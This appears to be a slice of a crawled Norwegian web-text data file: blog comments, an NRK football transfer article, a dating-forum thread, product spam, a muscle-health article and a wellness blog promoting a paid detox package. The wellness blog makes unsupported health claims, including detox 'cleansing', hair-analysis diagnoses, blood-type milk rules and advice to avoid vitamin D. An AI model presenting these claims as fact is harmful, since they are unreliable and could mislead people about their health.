oi... n\u00e5 f\u00f8ler jeg meg skyldig i \u00e5 ikke ha v\u00e6rt innom siden din p\u00e5 lenge...  \n    Men, jeg kan lage en post til, bare til \u00e6re for deg\\! (fra den andre maskinen min selvf\u00f8lgelig, ellers blir det jo samme bilde to ganger...) :)\n    \n6.  \n    \n    Roy S\u00f8bstadfebruar 27, 2009\n    \n    Det sier jeg ikke noe p\u00e5. N\u00e5r sider oppdateres s\u00e5 sjelden som denne er blitt i det siste, bes\u00f8ker man dem sjeldnere. Det gj\u00f8r i hvert fall jeg.\n    \n## Om meg\n\nSkribent, illustrat\u00f8r, grafisk formgiver og tegneserieskaper. Bosatt i Kristiansand.\n\n## Fasiten for 2018\n\n\n*En bekymringsl\u00f8s ung mann har sin f\u00f8rste arbeidsdag i et stort firma. Han kan ingenting og han vet ingenting. Likevel er han aldri i tvil om at han fortjener all den fremgang han kan f\u00e5. Men kontorlandskapet skjuler m\u00f8rke hemmeligheter. Den unge mannens f\u00f8rste arbeidsdag kan fort vise seg \u00e5 bli hans siste.*  \n  \n## Tegneserier 1993-2008\n\n*\u00abS\u00f8bstad blander komedie og drama p\u00e5 en fin m\u00e5te. Den minimalistiske og karikerte tegnestilen er gjennomarbeidet og elegant.\u00bb*  \n\\- Dagens N\u00e6ringsliv  \n  \n*\u00abDet er flere h\u00f8ydepunkter her, med en humor som er dr\u00f8y uten \u00e5 v\u00e6re vulg\u00e6r.\u00bb*  \n\\- VG  \n  \n*\u00abGratulerer Jippi Forlag med en flott samling vanvidd med mening, og takk til Roy S\u00f8bstad for en dynamisk og underholdende verden i spenningsfeltet mellom kunst og kommers\\!\u00bb*  \n\\- NUMER\n\n", "language": "no", "__index_level_0__": "ea9a4eb1-c6cd-4ed4-818a-d0627636c784"}
{"url": "https://www.nrk.no/sport/fotball/var-enige-om-moa-overgang-1.6973336", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:04:08Z", "text": "# Var enige om Moa-overgang\n\nV\u00e5lerenga og Hannover var enige om en overgang, men i siste liten trakk tyskerne seg.\n\n\n\n\n\nGunnar Grindstein @GGrindstein\n\n\n\nAndreas Budalen @Andreas\\_Budalen\n\n  Publisert  02.02.2010, kl. 07.35 \n**- Slik vi opplevde det var vi enige med klubben om rammene for en overgang, men s\u00e5 skjedde det noe p\u00e5 oppl\u00f8pssiden som gjorde at det ikke ble noe av, sier sportsdirekt\u00f8r Truls Haakonsen til NRK.**\n\nEtter det NRK erfarer skal V\u00e5lerenga og Hannover ha v\u00e6rt enige om en overgangssum p\u00e5 rundt ti millioner kroner for Mohammed Abdellaoue, men Hannover trakk seg i siste sekund.\n\nEn \u00e5rsak til dette er at Hannover rett f\u00f8r overgangsvinduet stengte gikk til innkj\u00f8p av ivorianeren Arouma Kone fra FC Sevilla. I tillegg kj\u00f8pte klubben playmakeren Elsom fra Stuttgart.\n\nMoa ville selv ikke kommentere saken overfor NRK, men H\u00e5konsen bekrefter at spissen \u00f8nsket en overgang.\n\n**- Jeg har ikke lyst til \u00e5 si noe om summer, men Moa selv \u00f8nsket sterkt \u00e5 f\u00e5 g\u00e5, sier H\u00e5konsen til NRK.**\n\nHannover 96 ligger ille til i den tyske Bundesligaen. Etter 20 spilte kamper ligger klubben tredjesist med 17 poeng. L\u00f8rdag ble det tap 1-3 hjemme for N\u00fcrnberg.\n\n  -  Resultater/tabell - Bundesliga \n\n## Jakter forsvarsspillere\n\nDermed forlot ingen V\u00e5lerenga-spillere klubben i dette internasjonale overgangsvinduet, og klubben jakter n\u00e5 forsterkninger.\n\nNorske klubber kan hente spillere fram til 31. mars og V\u00e5lerenga jobber videre med \u00e5 forsterke stallen.\n\n**- Alle klubbene i Norge har et ekstremt stort fokus p\u00e5 \u00e5 skaffe seg b\u00e6rekraftig \u00f8konomi. Det har vi i V\u00e5lerenga ogs\u00e5, men vi tror det er mulig \u00e5 kombinere det og sikte oss inn mot en topp fire-plassering under forutsetning at vi f\u00e5r en stall som er konkurransedyktig, sier Haakonsen til VIF-TV.**\n\n\\- Men det forutsetter ogs\u00e5 at vi i alle fall f\u00e5r p\u00e5 plass en forsvarsspiller til, da det er i den lagdelen vi f\u00f8ler vi m\u00e5 tette noen hull.\n\n  \n  Publisert  02.02.2010, kl. 07.35 \n\n### V\u00e5lerenga Fotball\n\n\nJakten p\u00e5 en avdanket kraftspiss er utypisk for Chelsea, men veldig typisk for Antonio Conte.\n\nAv Thore Haugstad\n\n\n\n## NFF jakter brennhet Hegerberg: \u2013 Vi h\u00e5per fortsatt\n\nNorges Fotballforbund (NFF) \u00f8nsker at Ada Hegerberg (22) skal gi landslaget en ny sjanse, men hun st\u00e5r p\u00e5 sitt.\n\nAv Stine L\u00f8vmo Lie\n\n\n\n## Hvorfor ble Bar\u00e7a bedre uten Neymar?\n\nKOMMENTAR: N\u00e5r man selger verdens tredje beste spiller, tilsier det meste at man blir svekket. S\u00e5 hvordan greier Barcelona n\u00e5 \u00e5 gj\u00f8re det bedre uten Neymar?\n\nAv Thore Haugstad\n\n\n\n## Den meiningslause VM-kampen\n\nMilit\u00e6rkupp, kald krig, storpolitikk, VM-kvalifisering, FIFAs realitetsvegring. Denne miksen skapte den kanskje aller st\u00f8rste farsen i internasjonal fotballhistorie.\n\nAv Arve Lote\n\n\n\n## Ny avsl\u00f8ring: Ogs\u00e5 svenskene planla fotballstreik\n\nDe danske fotballdamene streiker for \u00e5 f\u00e5 bedre betingelser. N\u00e5 viser det seg at svenskene planla \u00e5 gj\u00f8re n\u00f8yaktig det samme.\n\nAv Stine L\u00f8vmo Lie\n\n\n\n## Herrelandslaget tar l\u00f8nnskutt for \u00e5 hjelpe fotballkvinnene\n\n\u2013 Damene er like viktige som oss, sier landslagskaptein Stefan Johansen (26).\n\nAv Stine L\u00f8vmo Lie\n\n\n\n## Derfor kan de neste dagene bety alt for Messis fremtid\n\nIngenting betyr mer for Lionel Messi enn \u00e5 vinne VM med Argentina, men de neste dagene kan jakten p\u00e5 trofeet ta slutt f\u00f8r den har begynt.\n\nAv Thore Haugstad\n\n## Oppgitt Lagerb\u00e4ck: \u2013 Trur du eg ser p\u00e5 dette som ferie?\n\nSAN MARINO/OSLO (NRK): Norges landslagssjef hissa seg opp over San Marino-sp\u00f8rsm\u00e5l.\n\nAv Hans Henrik L\u00f8ken og Ali Iqbal Tahir\n\n\n\n## Landslagsspillere st\u00f8tter Hegerberg: \u2013 Vi mener mye av det samme\n\nFREDRIKSTAD/OSLO (NRK): Flere profiler innr\u00f8mmer n\u00e5 at de er enige med Ada Hegerbergs knallharde landslagskritikk.\n\nAv Ali Iqbal Tahir og Stine L\u00f8vmo Lie\n\n\n\n## Ny stjerne med NFF-kritikk: \u2013 Forbundet kunne gjort mye mer for oss\n\nWOLFSBURG/OSLO (NRK): Caroline Graham Hansen (22) kritiserer Norges Fotballforbund (NFF) for \u00e5 gj\u00f8re for lite for kvinnelandslaget.\n\nAv Carina Olset og Stine L\u00f8vmo Lie\n\n\n\n## Thorisdottir signerte for Chelsea\n\nKlepp og Chelsea er enige om en overgang for landslagsstopper Maria Thorisdottir.\n\nAv Torkel Anstensrud Schibevaag\n\n\n\n## \u00abResultatene er tydeligvis ikke viktigst\u00bb\n\nKOMMENTAR: Det er riktig av Ada Hegerberg \u00e5 etterlyse prestasjonskultur, takh\u00f8yde, kvalitet i det sportslige opplegget og gode lederegenskaper.\n\nAv Lise Klaveness\n\n\n\n## Hegerberg slo tilbake etter NFF-krangel - herjet i serie\u00e5pningen\n\nMed storspill og fire scoringer i sesongens f\u00f8rste kamp, viste Ada Hegerberg (22) hvilket enormt tap hun er for det norske fotballandslaget.\n\nAv Stine L\u00f8vmo Lie\n\n\n\n## Norwich nekter \u00e5 selge misforn\u00f8yd Tettey\n\nAlexander Tettey (31) sier til NRK at han trenger et mirakel for \u00e5 f\u00e5 lov til \u00e5 bytte klubb.\n\nAv Stine L\u00f8vmo Lie\n\n\n\n## Hegerberg oppr\u00f8rt over NFF-reaksjon: \u2013 Ikke til \u00e5 tro\n\nLYON/OSLO (NRK) Ada Hegerberg (22) forst\u00e5r ikke hvordan hennes Norge-nei kan overraske landslagsledelsen.\n\nAv Stine L\u00f8vmo Lie og Wegard Bakkehaug\n\n", "language": "no", "__index_level_0__": "e406e097-b8fc-4de9-a1ec-afa207e6a757"}
{"url": "https://sukker.no/dating-forum/731915-Hmm.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:47:40Z", "text": "# Hmm?\n\nSkjult ID med pseudonym Nysgjerrig ti. 15 mai 2012 20:56  \n\nHar et sp\u00f8rsm\u00e5l til dere jenter.  \n  \nHva er det som m\u00e5 til for \u00e5 f\u00e5 deres interesse?? Hva er det man skal si eller gj\u00f8re eller ja??\n\n (kvinne 36 \u00e5r fra Oslo)  ti. 15 mai 2012 21:13  Privat melding \n\nVel, profilen m\u00e5 jo appellere til den enkelte. Damene har forskjellige smak.  \nMen en utradisjonell lesning er ikke \u00e5 forakte :)  \nOg slutt \u00e5 sende disse hjerte for \u00e5 ta kontakt gutter\\! Send en melding isteden. Jeg setter mer pris p\u00e5 en som tar seg tid til \u00e5 sende meg en kort melding p\u00e5 innboksen, gjerne litt utradisjonell, s\u00e5 er man i gang med engang. det som ofte skjer, n\u00e5 snakker jeg bare for min del er nemlig dette: jeg f\u00e5r et hjerte, s\u00e5 er det faktisk JEG som m\u00e5 ta kontakt med han som er interessert i kontakt...snakk om \u00e5 g\u00e5 rundt gr\u00f8ten...s\u00e5 cut the crap, v\u00e6r direkte.  \n  \nJeg vet det har v\u00e6rt litt snakk om at jentene p\u00e5 sukker er s\u00e5 d\u00e5rlige til \u00e5 svare. Men det gjelder ikke alle. MAn m\u00e5 satse for \u00e5 vinne. Og guttene er like d\u00e5rlige, ikke alle, men det finnes ogs\u00e5 de som leser meldingen og ikke svarer. men jeg klager ikke. Silence is an answer too. :0)\n\nSkjult ID med pseudonym Snehvit ti. 15 mai 2012 21:19  \n\nSmil som treffer hjertet  \nv\u00e6re oppriktig interessert i meg  \nvarm person  \nha lett for \u00e5 snakke, uten \u00e5 bare snakke selv hele tiden  \nevner til \u00e5 lytte  \ngentleman  \nlitt handy  \nm\u00e5 kunne ta avgj\u00f8relser, ikke tja, ha vet ikke  \nkjekk i mine \u00f8yne, har ikke noe med verdensbildet av hva som er kjekk..men noe som sjarmerer meg. M\u00f8rk eller lys, ikke viktig. H\u00e5r eller ei, ikke viktig heller....  \nTa kontakt, send en kort f\u00f8rstemelding, vis gjerne at du faktisk HAr lest profilen min, ikke sp\u00f8r hvor jeg bor n\u00e5r det st\u00e5r der.  \nSi i fra om du liker bildene mine, vi liker komplimenter ( liker du dem ikke s\u00e5 bla videre...)  \nOg ALDRI ALDRI kom med kritikk f\u00f8r du kjenner meg godt og vet jeg t\u00e5ler det.....\n\nSkjult ID med pseudonym Kman ti. 15 mai 2012 21:21  \n\nTror vel egentlig disse damene liker at du finner ut av dette p\u00e5 egenh\u00e5nd TS :D\n\nSkjult ID ti. 15 mai 2012 21:32  \n\nT\u00f8r og vis hvem du er, gjerne med en snert humor. Komplimenter kommer du langt med s\u00e5 lenge de er \u00e6rlige og at du skriver mer enn \"fin profil\" i f\u00f8rste meldingen.\n\nSkjult ID med pseudonym trlOslo ti. 15 mai 2012 21:33  \n\nFinnes ikke noe fasit p\u00e5 det dessverre. man m\u00e5 bare t\u00f8rre. Og man m\u00e5 i hvertfall t\u00f8rre \u00e5 f\u00e5 avslag. That's the game.\n\nSkjult ID med pseudonym Spaden ti. 15 mai 2012 21:37  \n\nAt du har selvinnsikt nok til \u00e5 se om du kan passe med meg; dvs du har lest i profilen min at jeg tenker framtid med barn, har samme verdigrunnlag og samme \u00f8nsker n\u00e5r det gjelder fysisk aktivitet... Du er s\u00e5pass fri og eventyrlysten at du ikke blir skrem av at det kanskje er fysisk avstand mellom oss, for den ene av oss flytter viss vi vil. Du er en jordn\u00e6r type, som jeg stolt kunne invitert p\u00e5 kaffelag hos min bestemor. Du har evne til \u00e5 vise omsorg b\u00e5de til meg og andre.\n\nHumor... han m\u00e5 f\u00e5 meg til \u00e5 le enkelt og greit.\n\nSkjult ID med pseudonym sta ti. 15 mai 2012 22:23  \n\nSvaret er vel heller hvordan finner man de interessante damene som faktisk svarer noe fornuftig tilbake? Der har de litt \u00e5 jobbe med ;) Hjelper ikke at vi m\u00e5 f\u00e5 de til \u00e5 le, v\u00e6re fantastiske osv n\u00e5r de ikke gir noe tilbake.\n\n@ sta  \nOm jenta ikke kommer med s\u00e5 mye fornuftig s\u00e5 kanskje hun egentlig ikke er s\u00e5 interessert i f\u00f8rste omgang.\n\n", "language": "no", "__index_level_0__": "44743738-120f-48e2-b1ed-d2bc3bec0138"}
{"url": "http://www.pkjunakovic.com/levis-721-high-rise-skinny-l34-jeans-svart-damekl%C3%A6rlevis-norgemainstream-p-2536.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:34:09Z", "text": "**levis jeans 710 super skinny Levis Damekl\u00e6r Jeans , Levi\u00b4s 721 High Rise Skinny L34 Jeans Svart Damekl\u00e6r,levis norge,Mainstream levis hettegenser,nye butikker**  \n\nDitt ultimate ser fantastiske stiler med innovative stretch denim designet for \u00e5 smigre, holde og l\u00f8fte hele dagen, hver dag. Uansett din kroppstype, vil disse jeans ser flott ut p\u00e5 deg. Slim gjennom hofte og l\u00e5r med en klassisk skinny leg og h\u00f8y stige midje.  \nspesifikasjoner:  \n67% Ctn 25% Visc 7% Poly 1% Elas, 3x1 Twill  \n  \nHvis du ser etter en nettbutikk som er spesialisert innen **mote** utstyr, oppdag **Levi\u00b4s kj\u00f8p p\u00e5 nett toll Norge**. Som **Levi\u00b4s** autorisert forhandler har alle v\u00e5re **mote** produkter full produsentgaranti av **Levi\u00b4s**. Velg en av v\u00e5re **Damekl\u00e6r** kategorier og oppdag utvalget av **Damekl\u00e6r** produkter som vi har for din favorittaktivitet. For \u00e5 klart ut enhver tvil, ta kontakt med v\u00e5rt team via telefon eller e-post. Ikke vent lenger\\!\n\n", "language": "no", "__index_level_0__": "5779df26-5fe1-4016-ac73-1d6f5058e259"}
{"url": "http://www.amyjobrasil.com/peter-kaiser-dame-klassiske-pumps-pori-klassiske-pumps-schwarzpeter-kaiser-vaiderofficia-hjemmeside-p-155.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:34:18Z", "text": "**Peter Kaiser footwear oslo Peter Kaiser Dame Klassiske pumps , Peter Kaiser Dame Klassiske pumps PORI - Klassiske pumps - schwarz,Peter Kaiser vaider,officia hjemmeside Peter Kaiser skytop,fremst**  \n\n  - Dekks\u00e5le: l\u00e6r\n  - Innermateriale: l\u00e6r\n  - H\u00e6lform: Blokkh\u00e6l\n  - H\u00e6lh\u00f8yde: 6 cm i st\u00f8rrelse 37,5\n  - F\u00f4r: sv\u00e6rt lett f\u00f4ret\n  - M\u00f8nster: ensfarget\n  - Lukking: \u00c5pen\n  - Skotupp: Firkantet\n  - S\u00e5le: Syntentisk materiale\n  - overmateriale: l\u00e6r\n", "language": "no", "__index_level_0__": "bdf19217-97d1-4221-bbc5-669252879a0f"}
{"url": "https://cergntnu.wordpress.com/2015/09/25/hold-deg-sterk-bevar-helsa/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:03:18Z", "text": "# Hold deg sterk \u2013 bevar\u00a0helsa\n\nPosted on 25. September 2015  by  CERG\n\nHvis du \u00f8nsker \u00e5 leve et langt og sunt liv, b\u00f8r du ta godt vare p\u00e5 musklene dine.\n\nKroppen best\u00e5r av over 660 skjelettmuskler. De inneholder i hovedsak vann, mens cirka 20 prosent er proteiner og 5 prosent salter og mineraler. Muskelproteiner har flere distinkte strukturer som gj\u00f8r muskelsammentrekninger og avspenninger mulig. Ved finjustert koordinering av skjelettmuskulatur er vi i stand til \u00e5 g\u00e5 og bevege oss rundt. Aminosyrer er byggesteinene i alle proteiner, ogs\u00e5 i skjelettmuskelproteinene. For \u00e5 opprettholde sterke musklene, trenger vi \u00e5 spise en nok mat som inneholder aminosyrer og vi m\u00e5 aldri slutte \u00e5 bevege oss.\n\nEn enkel test av skjelettmuskelstyrke er gripestyrke i h\u00e5nden. Ved \u00e5 klemme en gummiball eller lignende, kan vi m\u00e5le gripestyrke. Gripestyrke reduseres hos de aller fleste etter hvert som vi blir eldre, og reduksjonen starter allerede midt i livet.\n\nSkjelettmuskelstyrke og muskelmasse er sterkt knyttet til helse. Middelaldrende og eldre mennesker med sterke muskler har f\u00e6rre skader, blir raskere friske etter skader og er bedre i stand til \u00e5 h\u00e5ndtere hverdagens utfordringer og ta vare p\u00e5 seg selv. Friske voksne med redusert gripestyrke har h\u00f8yere risiko for tidlig d\u00f8d, hjerte- og karsykdommer og kreft. En nylig publisert studie i tidsskriftet *Lancet* viste at risikoen for \u00e5 d\u00f8 for tidlig \u00f8kte med 16 prosent for hver femte kilo reduksjon i gripestyrke hos ellers friske mennesker.\n\nPer i dag vet man ikke helt hvorfor muskelstyrke kan forutsi fremtidige helse. Man tror skjelettmuskulatur spiller en sentral rolle kroppens omsetning av proteiner (proteinmetabolisme), spesielt under stress. Hvis et akutt behov for protein-byggesteiner oppst\u00e5r p\u00e5 grunn av en stor skade, sykdom eller kirurgi, vil aminosyrene \"lagret\" i muskler kan brukes som en reparasjonsreserve. Med lav skjelettmuskelmasse (sarkopeni) og lavt matinntak, vil en begrenset mengde av byggesteinene v\u00e6re tilgjengelig for de normale reparasjonsprosessene som foreg\u00e5r kontinuerlig. Dette kan begrense kroppens evne til reparasjon og muligens gi langsiktige negative helsemessige konsekvenser.\n\n**Les ogs\u00e5: Mental helse og sunn aldring \u2013 fordelene med trening**\n\nTa godt vare p\u00e5 skjelettmuskulaturen din med sunn mat og regelmessig fysisk aktivitet \u2013 musklene dine er sv\u00e6rt viktig for helsa di\\!\n\n***Trine Karlsen, forsker ved CERG***\n\n", "language": "no", "__index_level_0__": "80424ae3-5097-42c0-bfb0-38ec3d300c92"}
{"url": "http://super-sunn.blogspot.com/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00143.warc.gz", "warc_date": "2018-03-24T23:03:04Z", "text": "\n\n## l\u00f8rdag 20. oktober 2012\n\n### \\[supersunn\\] detox\n\nHei alle sammen\\!  \nHerlig med helg :)  \n  \n Et par nyheter i dag:\u00a0  \n  \n Bloggen flytter....  \n.... hit\\!  \n  \n Tusen takk til dere alle som har fulgt meg her - h\u00e5per dere vil f\u00f8lge meg videre p\u00e5 den andre ogs\u00e5\\!  \nDen er sl\u00e5tt sammen med den nye nettsiden min\\! Ta gjerne en titt innom www.supersunn.no og se hvor fin den nye nettsiden min er blitt :) Jeg overf\u00f8rer det som jeg syns er n\u00f8dvendig herfra, men den gamle blir liggende en stund. M\u00e5let er at en skal kunne finne all info via nettsiden og nettbutikken fremover - godt \u00e5 f\u00e5 samlet alt p\u00e5 et sted :)  \n  \n Som dere ser der inne s\u00e5 har \\[supersunn\\] detox blitt testet ut i ukens KK\\! Det syns jeg er veldig stas\\! Dere finner mer informasjon om denne her.\u00a0Programmet kan kj\u00f8pes via nettbutikken.  \n  \n Mange har spurt om jeg kan utdype hva detox inneb\u00e6rer og hvordan denne detoxen er?  \nDet st\u00e5r noks\u00e5 utfyllende om den i linken over - men her f\u00e5r dere litt mer informasjon:)\u00a0  \n  \n   \n **HVA SLAGS DETOX?**  \nDette er en detox som er realtivt hard \u00e5 gjennomf\u00f8re. Derfor er det viktig \u00e5 sette av noe tid til \u00e5 gjennomf\u00f8re den og ikke minst planlegge det godt. Den best\u00e5r av 4-7 dager nedtrapping med rawfood, ca 4 dager med flytende faste og deretter 4-7 dager opptrapping. Det er de 4 dagene med flytende som oppleves som hardest og her b\u00f8r/m\u00e5 en v\u00e6re hjemme. Det er her kroppen pumper ut avfallsstoffer og de v\u00e6rste symptomene kan oppleves. Det er derfor jeg legger veldig vekt p\u00e5 nedtrappingen, som skal bidra til mild rens f\u00f8r - og mindre detox symptomer under den flytende fasen.  \n  \n Det siste er utrolig viktig\\! Det er fordi at du skal gi deg selv en velfortjent pause. Vi tar fri fra jobben for \u00e5 reise p\u00e5 shoppingturer, gutte/jente turer med mat & vin ++ hvorfor skal en ikke da ta litt fri fra omverdenen og gi kroppen litt fri fra vanlig mat 1 - 2 ganger i \u00e5ret? Kroppen din vil takke deg\\! :) Vi tilf\u00f8rer den s\u00e5 mye rart i l\u00f8pet av et \u00e5r, og da b\u00f8r vi la den f\u00e5 en pause der kroppen kan helbrede seg, rense seg og tarmen f\u00e5r ro. Med flytende gr\u00f8nn mat og rawfood bruker kroppen mindre energi p\u00e5 ford\u00f8yelsessystemet og kan derfor bruke den energien p\u00e5 \u00e5 avgifte kroppen i stedet.  \n  \n **ANDRE AKTIVITETET UNDER DETOX:)**  \nI tillegg s\u00e5 er dette den perioden (den flytende) en skal rense mest og toalettet b\u00f8r v\u00e6re i n\u00e6rheten - derfor b\u00f8r en v\u00e6re hjemme ;) Disse dagene b\u00f8r brukes til velv\u00e6re, s\u00f8vn og frisk luft. Mild lymfemassasje, rensende bad/fotbad, sauna/infrar\u00f8d sauna, t\u00f8rrb\u00f8rsting, tur i frisk luft og s\u00f8vn vil bidra til en bedre detox. Lett trening som yoga er ogs\u00e5 veldig bra\\!  \n  \n Bruk disse dagene til \u00e5 rydde p\u00e5 ulike plan - mange har et skap eller to, en bod etc som alltid st\u00e5r der uryddet. F\u00e5 slike ting ut av hodet ved \u00e5 bruke disse dagene til \u00e5 gj\u00f8re noe du ellers aldri ville gjort. Andre tips: bilder inn i permer eller les gode b\u00f8ker\\! Lytt til musikk eller kj\u00f8p deg en meditasjonscd - dersom du ikke har meditert f\u00f8r.  \n  \n (jeg snakker ikke ut fra mitt eget hjem n\u00e5 i det hele tatt - eller hva jeg ikke f\u00e5r tid til i det daglige - hehe :) )  \n  \n **HVA SLAGS MAT ER DET SNAKK OM?**  \n**I ned/opptrapping** s\u00e5 spiser en rawfood. Det vil si 2 smoothies om dagen og et fast m\u00e5ltid med rawfood. Rawfood vil si at maten ikke er oppvarmet over 41 grader - mye enklere \u00e5 ford\u00f8ye, mer n\u00e6ringsstoffer og maten gir deg energi\\! Dette er ogs\u00e5 en rensende fase, men b\u00f8r kunne gjennomf\u00f8res med jobb. MEN; her reagerer mennesker veldig forskjellig - og vi har alle ulike utgangspunkt for detoxen og ulik mengde som skal renses ut.  \n  \n Det faste m\u00e5ltidet med rawfood er salat eller gr\u00f8nne nydelige wraps (n\u00f8ttefyll, gr\u00f8nnsaker, diper) - som er fint \u00e5 innta p\u00e5 jobb/skole i lunsjen\\!  \n  \n Smoothies kan v\u00e6re gr\u00f8nn om morgenen og en med bringeb\u00e6r & sjokolade til ettermiddag/kveld som et forslag.  \n  \n Gr\u00f8nnsaksjuicer og gr\u00f8nne drikker kan en drikke ubegrenset og det kan v\u00e6re veldig avgj\u00f8rende for en god rens. B\u00e5de fordi det renser bedre og gr\u00f8nnsaksjuicer er s\u00e5\u00e5\u00e5\u00e5 godt. Min personlige mening er at jeg f\u00e5r en helt annen opplevelse av en detox hvis jeg f\u00e5r lagd meg en god gr\u00f8nn juice\\! Men det er ikke n\u00f8dvendig med juicepresse for \u00e5 kunne gjennomf\u00f8re den.  \n  \n Blender derimot m\u00e5 en ha\\!  \n  \n **I flytende fase** s\u00e5 spiser en gr\u00f8nne supper, gr\u00f8nne drikker, gr\u00f8nnsaksjuice og gr\u00f8nne smoohties.  \n  \n I tillegg er det mange **tilskudd** som hjelper p\u00e5 rensingen og supermat som gir kroppen din unik n\u00e6ring\\! Pakken inneholder 12 produkter.  \n  \n **ANDRE TYPER DETOX**  \nDenne detoxen er lagd ut fra hvordan jeg mener en detox er best \u00e5 gjennomf\u00f8re p\u00e5 egenh\u00e5nd hjemme uten at du er p\u00e5 et profesjonelt sted og blir fulgt tett opp.\u00a0  \nDet fins mange typer detox - og noen er mer/mindre hardere. Vannfaster og juicefaster vil v\u00e6re enda hardere - de kan tas p\u00e5 egenh\u00e5nd etterhvert - men jeg anbefaler ikke \u00e5 sette i gang med dette f\u00f8rste gang en skal gj\u00f8re en detox. Det fins et sted p\u00e5 Island som gjennomf\u00f8rer detox basert p\u00e5 mye vann/supper:\u00a0http://detox.is/default.asp?lang=norska. Fint \u00e5 vite for de som \u00f8nsker \u00e5 bli tett fulgt opp.\u00a0  \n  \n P\u00e5 sikt s\u00e5 er dr\u00f8mmen om at et s\u00e5nt sted drives av \\[supersunn\\] i Bergen og p\u00e5 utenlandsturer :)\u00a0  \n  \n \u00d8nsker dere alle sammen en fin l\u00f8rdag\\!\u00a0  \nAgnete  \n  \n  \nAgnete  kl. \n\n16:03    1 kommentar:        \n\n## onsdag 3. oktober 2012\n\n### Mitt hjertebarn kumelken\n\nDere vet at jeg syns ikke s\u00e5 mye om denne kumelken som vi blir anbefalt \u00e5 drikke s\u00e5 mye av for \u00e5 f\u00e5 sterkere benbyggning.\u00a0  \n  \n Jeg m\u00e5 bare si det igjen, ikke g\u00e5 i kalsiumfellen.\u00a0  \nDet er det mange som har gjort allerede, inkludert meg selv.\u00a0  \nJeg kan ikke si om det gjelder deg f\u00f8r jeg har sett en analyse av h\u00e5ret ditt, derfor s\u00e5 er det veldig vanskelig \u00e5 gi generelle r\u00e5d. Men derfor blir jeg ogs\u00e5 veldig frustrert n\u00e5r jeg st\u00e5r i k\u00f8 p\u00e5 helsekosten og jeg h\u00f8rer: \"hva trenger du? kalsium/magnsium 1:1 eller 2:1. Hvordan i all verden skal den kunden vite det? Jeg kan si generelt sett at de fleste hadde trengt kal:mag i forholdet 1:2 eller 1:3\\! Men igjen, jeg kan ikke gi et generelt r\u00e5d - derfor selger jeg heller ikke vitaminer og mineraler p\u00e5 et generelt grunnlag.  \n  \n Vi er full av kalsium og det lekker ut av benvevet (benskj\u00f8rhet) og legger seg p\u00e5 steder der det ikke skal v\u00e6re i kroppen: i blod\u00e5rene (tetter de igjen), f\u00f8rer til gallesten, nyresten og stive ledd. Vi er lave p\u00e5 magnesium som kan f\u00f8re til \u00f8kt forekomst av migrene, hjerteproblemer, astma/luftveisinfeksjoner, legg kramper, restless legs og ulike utfordringer med nervesystemet (depresjon, adhd, urolighet).  \n  \n Grunnen til at jeg sier dette er at jeg det siste halv\u00e5ret har f\u00e5tt mange rapporter tilbake med h\u00e5rmineralanalyser. Det er ingen som har hatt KALSIUM mangel. De har hatt magnesium mangel\\! De fleste markante mangler ogs\u00e5. (da blir de anbefalt magnesium og holde seg borte fra vitamin D, slik at en tar d\u00e5rligere opp kalsium). Noks\u00e5 forskjellig fra dagens anbefalinger...  \n  \n N\u00e5r en da ser i blodtypene v\u00e5re s\u00e5 er kumelk absolutt anbefalt \u00e5 unng\u00e5 i forhold til blodtype A og O. I Norge er ca 88 % av befolkningen en av disse to blodtypene, s\u00e5 derfor anbefaler jeg generelt sett et kosthold uten dette for store deler av befolkningen. Blodtype AB og B kan t\u00e5le det bedre.\u00a0  \n  \n Som jeg har sagt mange ganger f\u00f8r, s\u00e5 kan noen av oss t\u00e5le sm\u00e5-moderate mengder av de fete melkeproduktene bedre enn de magre/lette. Kjenn etter p\u00e5 magen din, mange f\u00e5r luftsmerter og vondt i magen dersom de er melkeintolerante.. (bremykt/\u00f8kologisk sm\u00f8r/ghee g\u00e5r fint for mange, noe kremfl\u00f8te og seterr\u00f8mme av og til kan kroppene ogs\u00e5 t\u00e5le).  \n  \n HUSK p\u00e5 at dersom barnet ditt n\u00e5 begynner \u00e5 bli veldig slimete/sn\u00f8rrete s\u00e5 kan det bedre seg betraktelig med \u00e5 kutte ut melk i h\u00f8st/vinter. Da tenker du sikker, hva skal jeg erstatte det med?  \nMitt tips er havremelk fra Oatley, rismelk, mandelmelk og noe soyamelk. Om den skal v\u00e6re tilsatt kalsium eller ikke kan jeg ikke gi konkrtet r\u00e5d om ettersom jeg ikke aner hvordan kalsium/magnesium balansen er til barnet.\u00a0  \n  \n Supermat inneholder mye vitaminer og mineraler i alle slags former, og mange mener at kroppen klarer \u00e5 nyttiggj\u00f8re seg bedre av dette. Dersom ikke en h\u00e5ranalyse er aktuell s\u00e5 kan det v\u00e6re uansett bra \u00e5 inkludere dette i kosten\\! Dette kombinerer jeg alltid med \u00e5 gi konkrete mineral anbefalinger til de som tar h\u00e5rmineralanalyse, i tillegg til \u00e5 skreddersy ift blodtypen.  \n  \n Avslutningsvis,\u00a0  \nSTYRK fra TINE, det nye fantastiske produktet med MER kalsium er derfor IKKE \u00e5 anbefale.\u00a0  \nJeg har TINE s\u00e5 oppi halsen om dagen, jeg syns de lurer Norges befolkning og det finner jeg meg ikke i. Jeg skal kjempe til jeg d\u00f8r for \u00e5 endre Norske vaner ift melkedrikking. Her ligger mye av \u00e5rsaken til mange helseproblemer, det er jeg helt sikker p\u00e5. Kalsium lager s\u00e5 mye utfordringer for kroppene v\u00e5re og s\u00e5 blir det fremstilt som om det er redningen p\u00e5 alt. Hvis noen kan sponse en reklame p\u00e5 tv\\`en som kan bli et motstykke til Mr.Melk - s\u00e5 let me know. Fru. Supersunn er med \u00a0:) La oss mobilisere og kjempe mot sterke markedskrefter 